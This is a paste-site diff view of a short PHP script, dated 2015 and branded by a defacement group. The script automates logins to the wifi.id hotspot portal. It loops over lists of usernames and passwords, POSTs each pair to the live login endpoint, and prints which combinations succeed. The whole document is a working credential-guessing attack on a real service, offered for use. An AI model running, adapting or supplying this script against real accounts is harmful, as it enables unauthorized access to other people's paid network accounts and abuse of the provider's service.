View difference between Paste ID: tb1yV5SH and YjknLDGC
SHOW: | | - or go back to the newest paste.
1
<?php
2
// Script Update :08 Maret 2015
3
// By Eka Syahwan - http://ekasyahwan.blogspot.com
4
// Setting Sek 
5
$name = gethostname();
6
$spasi = "\n";
7
8
// Setting Username dan Password
9
$username = array (
10
'username@telkomflexi.com',
11
'username@telkomflexi.com',
12
13
14
);
15
$password = array (
16
'password',
17
'password',
18
19
); 
20
21
// Saatnya Menghajar
22
echo "----------------------------------------", "$spasi";
23
echo "-          AutoLogin Wifi@id           -", "$spasi";
24
echo "-   Code By K3CEB0NG DEFACEMENTS       -", "$spasi";
25
echo "----------------------------------------", "$spasi";
26
echo "- who  : $name","$spasi";
27
echo "----------------------------------------$spasi";
28
//init curl
29
foreach ($username as $usr => $user){
30
foreach($password as $pass => $passwords){
31
$ch = curl_init('http://welcome9.wifi.id/authwag/login/check_login.php');
32
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
33
curl_setopt($ch,CURLOPT_POST,1);
34
curl_setopt($ch,CURLOPT_POSTFIELDS,"buttonClicked=4&redirect_url=http://facebook.com/ekasyahwan&err_flag=0&username=$user&password=$passwords&submit=");
35
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
36
if (preg_match("/Successful|Berhasil|redirec|wifi.id-wag|:1|default/", curl_exec ($ch))){
37
                    echo "[Scan]-->[Sukses] $user:$passwords", "\n";
38
}else {
39
                    echo "[Scan]-->[Gagal] $user:$passwords", "\n";}
40
curl_close ($ch);
41
}
42
}?>